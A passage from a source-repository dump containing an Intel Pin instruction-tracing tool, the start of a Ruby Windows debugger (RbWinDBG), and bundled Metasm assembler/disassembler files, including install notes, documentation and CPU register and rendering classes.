"Disable tracing non-module code such as library"); 10 | 11 | static 12 | VOID Fini(INT32 code, VOID *v) 13 | { 14 | output->close(); 15 | } 16 | 17 | static 18 | VOID InsPrint(ADDRINT ip, std::string *ins_disas) 19 | { 20 | *output << std::hex << ip << ": " << *ins_disas << endl; 21 | } 22 | 23 | static 24 | VOID InsPrintBranchOrCall(ADDRINT ip, ADDRINT target, BOOL is_taken, std::string *ins_disas) 25 | { 26 | std::string sym = RTN_FindNameByAddress(target); 27 | std::string br_str = "[br="; 28 | 29 | if(is_taken) 30 | br_str += "1]"; 31 | else 32 | br_str += "0]"; 33 | 34 | if(sym.length() > 0) 35 | *output << std::hex << ip << ": " << *ins_disas << "; " << sym << " " << br_str << endl; 36 | else 37 | *output << std::hex << ip << ": " << *ins_disas << " " << br_str << endl; 38 | } 39 | 40 | static 41 | VOID InsPrintMemoryRead(ADDRINT ip, ADDRINT src, ADDRINT src_size, std::string *ins_disas) 42 | { 43 | std::string read_str = "Read -> ["; 44 | 45 | for(UINT32 i = 0; i < src_size; i++) 46 | read_str += StringHex(*((UINT8*) (src + i)), 1, false); 47 | read_str += "]"; 48 | 49 | *output << std::hex << ip << ": " << *ins_disas << "; " << read_str << endl; 50 | } 51 | 52 | static 53 | VOID Ins(INS ins, VOID *p) 54 | { 55 | /* 56 | IMG img = IMG_Invalid(); 57 | 58 | if(KnobNoLibraryTrace) { 59 | // IMG_FindByAddress(..) returns stale IMG object 60 | img = IMG_FindByAddress(INS_Address(ins)); 61 | if(!IMG_IsMainExecutable(img)) 62 | return; 63 | } 64 | */ 65 | if(INS_IsBranchOrCall(ins)) { 66 | INS_InsertCall(ins, IPOINT_BEFORE, (AFUNPTR) InsPrintBranchOrCall, 67 | IARG_INST_PTR, IARG_BRANCH_TARGET_ADDR, IARG_BRANCH_TAKEN, 68 | IARG_PTR, new std::string(INS_Disassemble(ins)), IARG_END); 69 | } 70 | else if((INS_Opcode(ins) == XED_ICLASS_MOV) && INS_IsMemoryRead(ins)) { 71 | INS_InsertCall(ins, IPOINT_BEFORE, (AFUNPTR) InsPrintMemoryRead, 72 | IARG_INST_PTR, IARG_MEMORYREAD_EA, IARG_MEMORYREAD_SIZE, 73 | IARG_PTR, new std::string(INS_Disassemble(ins)), IARG_END); 74 | } 75 | else { 76 | INS_InsertCall(ins, IPOINT_BEFORE, (AFUNPTR) InsPrint, 77 | IARG_INST_PTR, 78 | IARG_PTR, new std::string(INS_Disassemble(ins)), IARG_END); 79 | } 80 | } 81 | 82 | int main(int argc, char **argv) 83 | { 84 | PIN_InitSymbols(); 85 | PIN_Init(argc, argv); 86 | output = new std::ofstream("ins_output.txt", std::ofstream::trunc); 87 | 88 | INS_AddInstrumentFunction(Ins, NULL); 89 | PIN_AddFiniFunction(Fini, NULL); 90 | 91 | PIN_StartProgram(); 92 | return 0; 93 | } 94 | -------------------------------------------------------------------------------- /PinTools/ins_print/makefile: -------------------------------------------------------------------------------- 1 | ############################################################## 2 | # 3 | # DO NOT EDIT THIS FILE! 4 | # 5 | ############################################################## 6 | 7 | # If the tool is built out of the kit, PIN_ROOT must be specified in the make invocation and point to the kit root. 8 | ifdef PIN_ROOT 9 | CONFIG_ROOT := $(PIN_ROOT)/source/tools/Config 10 | else 11 | CONFIG_ROOT := ../Config 12 | endif 13 | include $(CONFIG_ROOT)/makefile.config 14 | include makefile.rules 15 | include $(TOOLS_ROOT)/Config/makefile.default.rules 16 | 17 | ############################################################## 18 | # 19 | # DO NOT EDIT THIS FILE! 20 | # 21 | ############################################################## 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | RandomCode 2 | ========== 3 | 4 | Random Code Store 5 | -------------------------------------------------------------------------------- /RbWinDBG/RbWinDBG.rb: -------------------------------------------------------------------------------- 1 | #$:.unshift("C:\\Lib\\metasm") 2 | $:.unshift(File.join(File.dirname(__FILE__), 'lib-ext', 'metasm')) 3 | $:.unshift(File.join(File.dirname(__FILE__), 'lib')) 4 | 5 | require 'metasm' 6 | require 'rbDbg' 7 | require 'rbDbgUtils' 8 | require 'rbDbgSnapshot' 9 | require 'rbMiniDump' 10 | require 'ntstatus' 11 | 12 | $VERBOSE = false 13 | $DEBUG = false 14 | 15 | module RbWinDBG 16 | VERSION = '0.1' 17 | end 18 | 19 | -------------------------------------------------------------------------------- /RbWinDBG/TODO.txt: -------------------------------------------------------------------------------- 1 | * Resolve Names on Library Load 2 | * Auto Resolve Name to addr for bpx 3 | * MiniDump for Target Process -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/BUGS: -------------------------------------------------------------------------------- 1 | List of known bugs/missing features, in no particular order: 2 | 3 | PPC cpu cannot parse/encode code 4 | Disassembler is sloooow 5 | The GTK UI is quite sluggish too 6 | Disassembler backtracker does weird things 7 | Mach-O encoder does not work (binaries won't load on OSX) 8 | ELF encoder may need tweaks to handle OpenBSD 9 | Ia32 compile_c misses many features (divisions, bitfields), and needs a register allocator 10 | Asm parser does not handle well ; comments (eg "foo ; */* blargimdead") (c-style comments are parsed before asm-style, so multiline /* after ; is bad) 11 | The BUGS file is incomplete 12 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/CREDITS: -------------------------------------------------------------------------------- 1 | N: Yoann GUILLOT 2 | E: yoann at ofjj.net 3 | D: Lead developper 4 | 5 | N: Julien TINNES 6 | E: julien at cr0.org 7 | D: Senior Product Manager 8 | D: Ideas, bug hunting, Yoann-slapping 9 | D: Metasploit integration 10 | 11 | N: Arnaud CORNET 12 | E: arnaud.cornet at gmail.com 13 | D: Initial ELF support 14 | 15 | N: Raphael RIGO 16 | E: raphael at cr0.org 17 | D: Initial MIPS support and misc stuff 18 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/INSTALL: -------------------------------------------------------------------------------- 1 | Metasm is a pure ruby lib, and the core (metasm subdir) does not depend on any 2 | ruby library (except the metasm/gui, which can use gtk2/qt). 3 | 4 | So the install is quite simple: 5 | 6 | 7 | LOCAL INSTALLATION: 8 | 9 | Either modify your RUBYLIB environment variable to include the directory 10 | containing metasm.rb 11 | e.g. 12 | under linux or cygwin: 13 | if you downloaded metasm to $HOME/metasm, you should have a file named 14 | $HOME/metasm/metasm.rb and need to add "export RUBYLIB=$RUBYLIB:~/metasm" to 15 | ~/.bash_profile 16 | 17 | under windows: 18 | Add the path to the directory containing metasm.rb to the environment. 19 | This is accessible through: rightclick on 'my computer', tab 'advanced', 20 | environment. 21 | If a line RUBYLIB exists, add ':/path/to/metasmdir' at the end, otherwise 22 | create a new variable 'RUBYLIB' with value '/path/to/metasmdir' 23 | 24 | 25 | SYSTEMWIDE INSTALLATION: 26 | 27 | You can also copy the metasm.rb and the metasm subdirectory (the one containing 28 | ia32.rb and so on) under the ruby library path. 29 | e.g. cp -a metasm.rb metasm /usr/local/lib/site_ruby/1.8 (linux) 30 | select metasm.rb and metasm ; copy ; goto D:\apps\ruby18\lib\ruby\1.8\ ; paste 31 | (replace D:\apps\ruby18 with the directory where you installed ruby) (win) 32 | 33 | Note that metasm may not work well with rubygems, so disable it if you have the 34 | choice. 35 | 36 | For a global installation, if you intend to use the DynLdr class (eg to call 37 | the native windows API), you should also run the metasm/dynldr.rb script on 38 | install/update, which will generate an up-to-date dynldr.so binary ruby module. 39 | 40 | 41 | TESTING: 42 | 43 | Once done, open a new session and type "ruby -r metasm -e 'p Metasm::VERSION'" 44 | at a commandline prompt, it should print a single line with a number in it. 45 | 46 | 47 | GUI: 48 | 49 | If you want to use the graphical interface (dbg/dasm), you need the ruby-gtk2 library. 50 | Under linux, use your package manager to install ruby-gtk2 51 | e.g. for debian/ubuntu, type sudo apt-get install libgtk2-ruby 52 | 53 | Under windows, you'll need to install the GTK2 and the ruby bindings manually. 54 | Please follow the instructions at: 55 | http://ruby-gnome2.sourceforge.jp/hiki.cgi?Install+Guide+for+Windows 56 | 57 | To test, try to launch the script metasm/samples/disassemble-gui.rb (double 58 | click on it), it should show a program selection window. Type 'c' to start 59 | disassembling somewhere, and space to change to graph mode (see the script source 60 | for more key bindings) 61 | 62 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/doc/const_missing.txt: -------------------------------------------------------------------------------- 1 | The const_missing trick 2 | ======================= 3 | 4 | Metasm uses a ruby trick to load most of the framework on demand, so that 5 | *e.g.* the `MIPS`-related classes are never loaded in the ruby interpreter 6 | unless you use them. 7 | 8 | It is setup by the top-level `metasm.rb` file, by using the ruby mechanism of 9 | `Module.autoload`. This mechanism will automatically load the specified metasm 10 | components whenever a reference is made to one of the constants listed here. 11 | 12 | Metasm provides a replacement top-level file, `misc/metasm-all.rb`, 13 | which will unconditionally load all metasm files. 14 | This will not however load mutually exclusive files, like the Gui subsystems ; 15 | in this case it will load only the autodetected gui module (win32 or gtk). 16 | 17 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/doc/core/ExeFormat.txt: -------------------------------------------------------------------------------- 1 | ExeFormat 2 | ========= 3 | 4 | This class is the parent of all executable format handlers. 5 | 6 | It is defined in `metasm/exe_format/main.rb`. 7 | 8 | It defines some standard shortcut functions, such as: 9 | 10 | * `Exe.decode_file(filename)` 11 | * `Exe.assemble(cpu,asm_source)` 12 | * `Exe.compile_c(cpu,c_source)` 13 | * `Exe#encode_file(filename)` 14 | 15 | These methods will instanciate a new Exe, and call the corresponding 16 | methods, *e.g.* `load` with the file content, and `decode`. 17 | 18 | The handling of the different structures in the binary format should be 19 | done using the facility. 20 | 21 | The subclasses are expected to implement various functions, depending on the 22 | usage (refer to the ELF and COFF implementations for more details): 23 | 24 | File decoding/disassembly 25 | ------------------------- 26 | 27 | * `#decode_header`: parse the raw data in `#encoded` only to parse the file header 28 | * `#decode`: parse all the raw data in `#encoded` 29 | * `#cpu_from_headers`: return a instance according to the exe header information 30 | * `#get_default_entrypoints`: the list of entrypoints (exported functions, etc) 31 | * `#dump_section_header`: return a string that may be assembled to recreate the specified section 32 | * `#section_info`: return a list of generic section informations for the disassembler 33 | 34 | 35 | File encoding/source parsing 36 | ---------------------------- 37 | 38 | * `#tune_prepro`: define exe-specific macros for the preprocessor (optional) 39 | * `#parse_init`: initialize the `@cursource` array to receive the parsed asm source 40 | * `#parse_parser_instruction`: parse exe-specific instructions, eg `.text`, `.import`... 41 | * `#assemble`: assemble the content of the @cursource into binary section contents 42 | * `#encode`: assemble the various sections and a binary header into `@encoded` 43 | 44 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/doc/core/GNUExports.txt: -------------------------------------------------------------------------------- 1 | GNUExports 2 | ========== 3 | 4 | This class is defined in `metasm/os/gnu_exports.rb` 5 | 6 | It defines an `EXPORT` constant, a Hash, whose keys 7 | are the standard linux API symbol names, and values 8 | are the library name where you can find this symbol. 9 | 10 | The equivallent for windows is 11 | 12 | Usage 13 | ----- 14 | 15 | The main usage of this class is the automatic generation 16 | of the dynamic tag `DT_NEEDED` from the 17 | external symbols referenced by a binary during compilation. 18 | 19 | This is done in the `automagic_symbols` method. 20 | 21 | Symbols 22 | ------- 23 | 24 | The current version holds the symbols of the debian 25 | glibc, from `libc.so.6` and `libdl.so.2`. 26 | 27 | Ruby symbols are also defined, from `libruby1.8.so.1.8`. 28 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/doc/core/WindowsExports.txt: -------------------------------------------------------------------------------- 1 | WindowsExports 2 | ============== 3 | 4 | This class is defined in `metasm/os/windows_exports.rb` 5 | 6 | It defines an `EXPORT` constant, a Hash, whose keys 7 | are the standard win32 API symbol names, and values 8 | are the library name where you can find this symbol. 9 | 10 | The equivalent for GNU/Linux is 11 | 12 | Usage 13 | ----- 14 | 15 | The main usage of this class is the automatic generation 16 | of the import directories from the 17 | external symbols referenced by a binary during compilation. 18 | 19 | This is done in the `automagic_symbols` method. 20 | 21 | Symbols 22 | ------- 23 | 24 | The current version holds the symbols available in the 25 | Windows XP SP2 32-bit standard libraries: 26 | 27 | * `ntdll` 28 | * `kernel32` 29 | * `user32` 30 | * `gdi32` 31 | * `advapi32` 32 | * `ws2_32` 33 | * `msvcrt` 34 | * `comdlg32` 35 | * `psapi` 36 | 37 | 38 | Ruby symbols are also defined, from `msvcrt-ruby18`. 39 | 40 | 41 | Ruby library name 42 | ----------------- 43 | 44 | On creation, the current ruby library name is inferred 45 | from the `RUBY_PLATFORM` constant, in an effort to 46 | try to use the available ruby library filename. 47 | 48 | The only transformation supported now is to rewrite 49 | the ruby version number appearing in the filename for 50 | msvcrt-compiled binaries, so that you get the correct 51 | `msvcrt-ruby192` name for exemple under ruby1.9. 52 | 53 | This is implemented in the `patch_rubylib_to_current_interpreter` 54 | method (which is aptly named). 55 | 56 | Warning 57 | ####### 58 | 59 | Note that binaries compiled this way will not work on 60 | other machines where the exact same library is unavailable. 61 | 62 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/doc/core/index.txt: -------------------------------------------------------------------------------- 1 | See 2 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/doc/core_classes.txt: -------------------------------------------------------------------------------- 1 | Core classes 2 | ============ 3 | 4 | Core 5 | ---- 6 | 7 | * 8 | * 9 | * 10 | * 11 | * 12 | 13 | CPUs 14 | ---- 15 | 16 | * 17 | * 18 | * 19 | * 20 | * 21 | * 22 | 23 | ExeFormats 24 | ---------- 25 | 26 | * 27 | * 28 | * 29 | 30 | * 31 | * 32 | * 33 | * 34 | 35 | C 36 | ---- 37 | 38 | * 39 | * 40 | * 41 | 42 | Debugger 43 | -------- 44 | 45 | * 46 | * 47 | * 48 | * 49 | * 50 | * 51 | * 52 | 53 | Disassembler 54 | ------------ 55 | 56 | * 57 | * 58 | * 59 | * 60 | * 61 | 62 | GUI 63 | ---- 64 | 65 | * 66 | * 67 | * 68 | 69 | * 70 | * 71 | 72 | Others 73 | ------ 74 | 75 | * 76 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/doc/feature_list.txt: -------------------------------------------------------------------------------- 1 | Metasm feature list 2 | =================== 3 | 4 | Metasm is a cross-architecture assembler, disassembler, compiler, linker and debugger. 5 | 6 | See 7 | 8 | Architectures 9 | ------------- 10 | 11 | It is written in such a way that it is easy to add support for new architectures. 12 | For now, the following architectures are in: 13 | 14 | * Intel (16 and 32bits) 15 | * Intel (*aka* Ia32 64bits, X64, AMD64) 16 | * MIPS 17 | * PowerPC 18 | * Sh4 19 | 20 | The developpement is generally more focused on Ia32 and X86_64. 21 | 22 | 23 | File formats 24 | ------------ 25 | 26 | The following executable file formats are supported: 27 | 28 | * (raw binary) 29 | * / (32/64bits) 30 | * (32/64bits) 31 | 32 | Those are supported in a more limited way: 33 | 34 | * Mach-O, UniversalBinary 35 | * MZ 36 | * A.out 37 | * XCoff 38 | * NDS 39 | 40 | 41 | Features 42 | -------- 43 | 44 | The framework includes 45 | 46 | * a graphical 47 | * a graphical 48 | * low and high-level debugging support (Ia32 only for now) under Windows, Linux and remote (via a GdbServer) 49 | * an advanced disassembler engine, with limited emulation support 50 | * a full (with preprocessor) 51 | * an experimental (Ia32 only) 52 | * an experimental (Ia32 only) 53 | 54 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/doc/index.txt: -------------------------------------------------------------------------------- 1 | The Metasm framework documentation 2 | ================================== 3 | 4 | Metasm 5 | ------ 6 | 7 | The Metasm framework is an opensource software designed to interact with 8 | the various forms of binary code. It is written in pure Ruby 9 | (). 10 | 11 | More detailed informations can be found in the . 12 | 13 | It is distributed freely under the terms of the LGPL. 14 | 15 | Documentation organisation 16 | -------------------------- 17 | 18 | This documentation is split in different parts : 19 | 20 | * the 21 | * the major 22 | * 23 | 24 | The first part describes the internal structure of the framework, the 25 | second part is a higher level overview of the software and shows how 26 | the various parts are used and can interract. The last part explains 27 | the role of the source files and directories. 28 | 29 | 30 | Documentation progress 31 | ---------------------- 32 | 33 | The documentation is written here and there in my free time, and is **very** 34 | **incomplete** as of now. Specifically, all internal links you'll find 35 | ending in `.txt` are link to pages that have not been written yet. 36 | 37 | 38 | Install notes 39 | ------------- 40 | 41 | See the 42 | 43 | Authors 44 | ------- 45 | 46 | Metasm is mostly written by Yoann Guillot. 47 | 48 | Some parts were added by various contributors, including : 49 | * Julien Tinnès 50 | * Raphaël Rigo 51 | * Arnaud Cornet 52 | * Alexandre Gazet 53 | 54 | Contact 55 | ------- 56 | 57 | The latest version of this documentation can be found on the Metasm site: 58 | 59 | Patches, bug reports, feature requests should be sent to metasm@cr0.org 60 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/doc/style.css: -------------------------------------------------------------------------------- 1 | body { background-color: #002b36; color: #839496; } 2 | a { text-decoration: none; color:#268bd2; } 3 | a:hover, a:visited, a:active { color:#2aa198; } 4 | a:hover { text-decoration: underline; } 5 | a.brokenlink { color: #dc322f; } 6 | span.quote { font-family: monospace; } 7 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/doc/usage/index.txt: -------------------------------------------------------------------------------- 1 | See 2 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/doc/use_cases.txt: -------------------------------------------------------------------------------- 1 | Metasm use cases 2 | ================ 3 | 4 | Metasm is intended to be a binary manipulation toolbox. 5 | There are quite a lot of possible usages that can be derived from the 6 | . 7 | 8 | The major would be related to: 9 | 10 | * the scriptable 11 | * the (with the optional ) 12 | * the 13 | * the 14 | * the 15 | * the facilities 16 | 17 | and various interactions among them. 18 | 19 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/metasm/cpu/arc.rb: -------------------------------------------------------------------------------- 1 | # This file is part of Metasm, the Ruby assembly manipulation suite 2 | # Copyright (C) 2006-2010 Yoann GUILLOT 3 | # 4 | # Licence is LGPL, see LICENCE in the top-level directory 5 | 6 | 7 | require 'metasm/main' 8 | require 'metasm/cpu/arc/decode' 9 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/metasm/cpu/arm.rb: -------------------------------------------------------------------------------- 1 | # This file is part of Metasm, the Ruby assembly manipulation suite 2 | # Copyright (C) 2006-2009 Yoann GUILLOT 3 | # 4 | # Licence is LGPL, see LICENCE in the top-level directory 5 | 6 | class Metasm::ARM < Metasm::CPU 7 | end 8 | 9 | require 'metasm/main' 10 | require 'metasm/cpu/arm/parse' 11 | require 'metasm/cpu/arm/encode' 12 | require 'metasm/cpu/arm/decode' 13 | require 'metasm/cpu/arm/render' 14 | require 'metasm/cpu/arm/debug' 15 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/metasm/cpu/arm/debug.rb: -------------------------------------------------------------------------------- 1 | # This file is part of Metasm, the Ruby assembly manipulation suite 2 | # Copyright (C) 2006-2009 Yoann GUILLOT 3 | # 4 | # Licence is LGPL, see LICENCE in the top-level directory 5 | 6 | 7 | require 'metasm/cpu/arm/opcodes' 8 | 9 | module Metasm 10 | class ARM 11 | def dbg_register_pc 12 | @dbg_register_pc ||= :pc 13 | end 14 | def dbg_register_flags 15 | @dbg_register_flags ||= :flags 16 | end 17 | 18 | def dbg_register_list 19 | @dbg_register_list ||= [:r0, :r1, :r2, :r3, :r4, :r5, :r6, :r7, :r8, :r9, :r10, :r11, :r12, :sp, :lr, :pc] 20 | end 21 | 22 | def dbg_flag_list 23 | @dbg_flag_list ||= [] 24 | end 25 | 26 | def dbg_register_size 27 | @dbg_register_size ||= Hash.new(32) 28 | end 29 | 30 | def dbg_need_stepover(dbg, addr, di) 31 | di and di.opcode.props[:saveip] 32 | end 33 | 34 | def dbg_end_stepout(dbg, addr, di) 35 | di and di.opcode.name == 'foobar' # TODO 36 | end 37 | 38 | end 39 | end 40 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/metasm/cpu/arm/main.rb: -------------------------------------------------------------------------------- 1 | # This file is part of Metasm, the Ruby assembly manipulation suite 2 | # Copyright (C) 2006-2009 Yoann GUILLOT 3 | # 4 | # Licence is LGPL, see LICENCE in the top-level directory 5 | 6 | 7 | require 'metasm/main' 8 | 9 | module Metasm 10 | class ARM < CPU 11 | class Reg 12 | class << self 13 | attr_accessor :s_to_i, :i_to_s 14 | end 15 | @i_to_s = %w[r0 r1 r2 r3 r4 r5 r6 r7 r8 r9 r10 r11 r12 sp lr pc] 16 | @s_to_i = { 'wr' => 7, 'sb' => 9, 'sl' => 10, 'fp' => 11, 'ip' => 12, 'sp' => 13, 'lr' => 14, 'pc' => 15 } 17 | 15.times { |i| @s_to_i["r#{i}"] = i } 18 | 4.times { |i| @s_to_i["a#{i+1}"] = i } 19 | 8.times { |i| @s_to_i["v#{i+1}"] = i+4 } 20 | 21 | attr_accessor :i, :stype, :shift, :updated 22 | def initialize(i, stype=:lsl, shift=0) 23 | @i = i 24 | @stype = stype 25 | @shift = shift 26 | end 27 | 28 | def symbolic 29 | r = self.class.i_to_s[@i].to_sym 30 | if @stype == :lsl and @shift == 0 31 | r 32 | else 33 | r # TODO shift/rotate/... 34 | end 35 | end 36 | end 37 | 38 | class Memref 39 | attr_accessor :base, :offset, :sign, :incr 40 | def initialize(base, offset, sign=:+, incr=nil) 41 | @base, @offset, @sign, @incr = base, offset, sign, incr 42 | end 43 | 44 | def symbolic(len=4, orig=nil) 45 | o = @offset 46 | o = o.symbolic if o.kind_of? Reg 47 | p = Expression[@base.symbolic, @sign, o].reduce 48 | Indirection[p, len, orig] 49 | end 50 | end 51 | 52 | class RegList 53 | attr_accessor :list, :usermoderegs 54 | 55 | def initialize(l=[]) 56 | @list = l 57 | end 58 | end 59 | 60 | def initialize(endianness = :little) 61 | super() 62 | @endianness = endianness 63 | @size = 32 64 | end 65 | 66 | def init_opcode_list 67 | init_latest 68 | @opcode_list 69 | end 70 | end 71 | end 72 | 73 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/metasm/cpu/arm/render.rb: -------------------------------------------------------------------------------- 1 | # This file is part of Metasm, the Ruby assembly manipulation suite 2 | # Copyright (C) 2006-2009 Yoann GUILLOT 3 | # 4 | # Licence is LGPL, see LICENCE in the top-level directory 5 | 6 | require 'metasm/render' 7 | require 'metasm/cpu/arm/opcodes' 8 | 9 | module Metasm 10 | class ARM 11 | class Reg 12 | include Renderable 13 | def render 14 | r = self.class.i_to_s[@i] 15 | r += '!' if updated 16 | if @stype == :lsl and @shift == 0 17 | [r] 18 | elsif @stype == :ror and @shift == 0 19 | ["#{r} RRX"] 20 | else 21 | case s = @shift 22 | when Integer; s = Expression[s] 23 | when Reg; s = self.class.i_to_s[s.i] 24 | end 25 | ["#{r} #{@stype.to_s.upcase} #{s}"] 26 | end 27 | end 28 | end 29 | 30 | class Memref 31 | include Renderable 32 | def render 33 | o = @offset 34 | o = Expression[o] if o.kind_of? Integer 35 | case @incr 36 | when nil; ['[', @base, ', ', o, ']'] 37 | when :pre; ['[', @base, ', ', o, ']!'] 38 | when :post; ['[', @base, '], ', o] 39 | end 40 | end 41 | end 42 | 43 | class RegList 44 | include Renderable 45 | def render 46 | r = ['{'] 47 | @list.each { |l| r << l << ', ' } 48 | r[-1] = '}' 49 | r << '^' if usermoderegs 50 | r 51 | end 52 | end 53 | end 54 | end 55 | 56 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/metasm/cpu/cy16.rb: -------------------------------------------------------------------------------- 1 | # This file is part of Metasm, the Ruby assembly manipulation suite 2 | # Copyright (C) 2006-2009 Yoann GUILLOT 3 | # 4 | # Licence is LGPL, see LICENCE in the top-level directory 5 | 6 | 7 | require 'metasm/main' 8 | require 'metasm/cpu/cy16/decode' 9 | require 'metasm/cpu/cy16/render' 10 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/metasm/cpu/cy16/main.rb: -------------------------------------------------------------------------------- 1 | # This file is part of Metasm, the Ruby assembly manipulation suite 2 | # Copyright (C) 2006-2009 Yoann GUILLOT 3 | # 4 | # Licence is LGPL, see LICENCE in the top-level directory 5 | 6 | 7 | require 'metasm/main' 8 | 9 | module Metasm 10 | class CY16 < CPU 11 | class Reg 12 | class << self 13 | attr_accessor :s_to_i, :i_to_s 14 | end 15 | @i_to_s = (0..14).inject({}) { |h, i| h.update i => "r#{i}" } 16 | @i_to_s[15] = 'sp' 17 | @s_to_i = @i_to_s.invert 18 | 19 | attr_accessor :i 20 | def initialize(i) 21 | @i = i 22 | end 23 | 24 | def symbolic(orig=nil) ; to_s.to_sym ; end 25 | 26 | def self.from_str(s) 27 | raise "Bad name #{s.inspect}" if not x = @s_to_i[s] 28 | new(x) 29 | end 30 | end 31 | 32 | class Memref 33 | attr_accessor :base, :offset, :sz, :autoincr 34 | def initialize(base, offset, sz=nil, autoincr=nil) 35 | @base = base 36 | offset = Expression[offset] if offset 37 | @offset = offset 38 | @sz = sz 39 | @autoincr = autoincr 40 | end 41 | 42 | def symbolic(orig) 43 | p = nil 44 | p = Expression[p, :+, @base.symbolic] if base 45 | p = Expression[p, :+, @offset] if offset 46 | Indirection[p.reduce, @sz, orig] 47 | end 48 | end 49 | 50 | def initialize(family = :latest) 51 | super() 52 | @endianness = :little 53 | @size = 16 54 | @family = family 55 | end 56 | 57 | def init_opcode_list 58 | send("init_#@family") 59 | @opcode_list 60 | end 61 | end 62 | end 63 | 64 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/metasm/cpu/cy16/render.rb: -------------------------------------------------------------------------------- 1 | # This file is part of Metasm, the Ruby assembly manipulation suite 2 | # Copyright (C) 2006-2009 Yoann GUILLOT 3 | # 4 | # Licence is LGPL, see LICENCE in the top-level directory 5 | 6 | 7 | require 'metasm/cpu/cy16/opcodes' 8 | require 'metasm/render' 9 | 10 | module Metasm 11 | class CY16 12 | class Reg 13 | include Renderable 14 | def render ; [self.class.i_to_s[@i]] end 15 | end 16 | class Memref 17 | include Renderable 18 | def render 19 | r = [] 20 | r << (@sz == 1 ? 'byte ptr ' : 'word ptr ') 21 | r << '[' 22 | r << @base if @base 23 | r << '++' if @autoincr 24 | r << ' + ' if @base and @offset 25 | r << @offset if @offset 26 | r << ']' 27 | end 28 | end 29 | 30 | def render_instruction(i) 31 | r = [] 32 | r << i.opname 33 | if not i.args.empty? 34 | r << ' ' 35 | i.args.each { |a_| r << a_ << ', ' } 36 | r.pop 37 | end 38 | r 39 | end 40 | end 41 | end 42 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/metasm/cpu/dalvik.rb: -------------------------------------------------------------------------------- 1 | # This file is part of Metasm, the Ruby assembly manipulation suite 2 | # Copyright (C) 2006-2009 Yoann GUILLOT 3 | # 4 | # Licence is LGPL, see LICENCE in the top-level directory 5 | 6 | 7 | require 'metasm/main' 8 | require 'metasm/cpu/dalvik/decode' 9 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/metasm/cpu/dalvik/main.rb: -------------------------------------------------------------------------------- 1 | # This file is part of Metasm, the Ruby assembly manipulation suite 2 | # Copyright (C) 2006-2009 Yoann GUILLOT 3 | # 4 | # Licence is LGPL, see LICENCE in the top-level directory 5 | 6 | 7 | require 'metasm/main' 8 | 9 | module Metasm 10 | class Dalvik < CPU 11 | class Reg 12 | attr_accessor :i 13 | def initialize(i) 14 | @i = i 15 | end 16 | 17 | def symbolic 18 | "r#@i".to_sym 19 | end 20 | 21 | def to_s 22 | "r#@i" 23 | end 24 | end 25 | 26 | class Method 27 | attr_accessor :dex, :midx, :off 28 | def initialize(dex, midx) 29 | @dex = dex 30 | @midx = midx 31 | if @dex and m = @dex.methods[midx] and c = @dex.classes[m.classidx] and c.data and 32 | me = (c.data.direct_methods+c.data.virtual_methods).find { |mm| mm.method == m } 33 | @off = me.codeoff + me.code.insns_off 34 | end 35 | end 36 | 37 | def to_s 38 | if @dex and m = @dex.methods[@midx] 39 | @dex.types[m.classidx] + '->' + @dex.strings[m.nameidx] 40 | #dex.encoded.inv_export[@off] 41 | else 42 | "method_#@midx" 43 | end 44 | end 45 | end 46 | 47 | def initialize(*args) 48 | super() 49 | @size = args.grep(Integer).first || 32 50 | @dex = args.grep(ExeFormat).first 51 | @endianness = args.delete(:little) || args.delete(:big) || (@dex ? @dex.endianness : :little) 52 | end 53 | 54 | def init_opcode_list 55 | init_latest 56 | @opcode_list 57 | end 58 | end 59 | end 60 | 61 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/metasm/cpu/ia32.rb: -------------------------------------------------------------------------------- 1 | # This file is part of Metasm, the Ruby assembly manipulation suite 2 | # Copyright (C) 2006-2009 Yoann GUILLOT 3 | # 4 | # Licence is LGPL, see LICENCE in the top-level directory 5 | 6 | # fix autorequire warning 7 | class Metasm::Ia32 < Metasm::CPU 8 | end 9 | 10 | require 'metasm/main' 11 | require 'metasm/cpu/ia32/parse' 12 | require 'metasm/cpu/ia32/encode' 13 | require 'metasm/cpu/ia32/decode' 14 | require 'metasm/cpu/ia32/render' 15 | require 'metasm/cpu/ia32/compile_c' 16 | require 'metasm/cpu/ia32/decompile' 17 | require 'metasm/cpu/ia32/debug' 18 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/metasm/cpu/mips.rb: -------------------------------------------------------------------------------- 1 | # This file is part of Metasm, the Ruby assembly manipulation suite 2 | # Copyright (C) 2006-2009 Yoann GUILLOT 3 | # 4 | # Licence is LGPL, see LICENCE in the top-level directory 5 | 6 | class Metasm::MIPS < Metasm::CPU 7 | end 8 | 9 | require 'metasm/main' 10 | require 'metasm/cpu/mips/parse' 11 | require 'metasm/cpu/mips/encode' 12 | require 'metasm/cpu/mips/decode' 13 | require 'metasm/cpu/mips/render' 14 | require 'metasm/cpu/mips/debug' 15 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/metasm/cpu/mips/compile_c.rb: 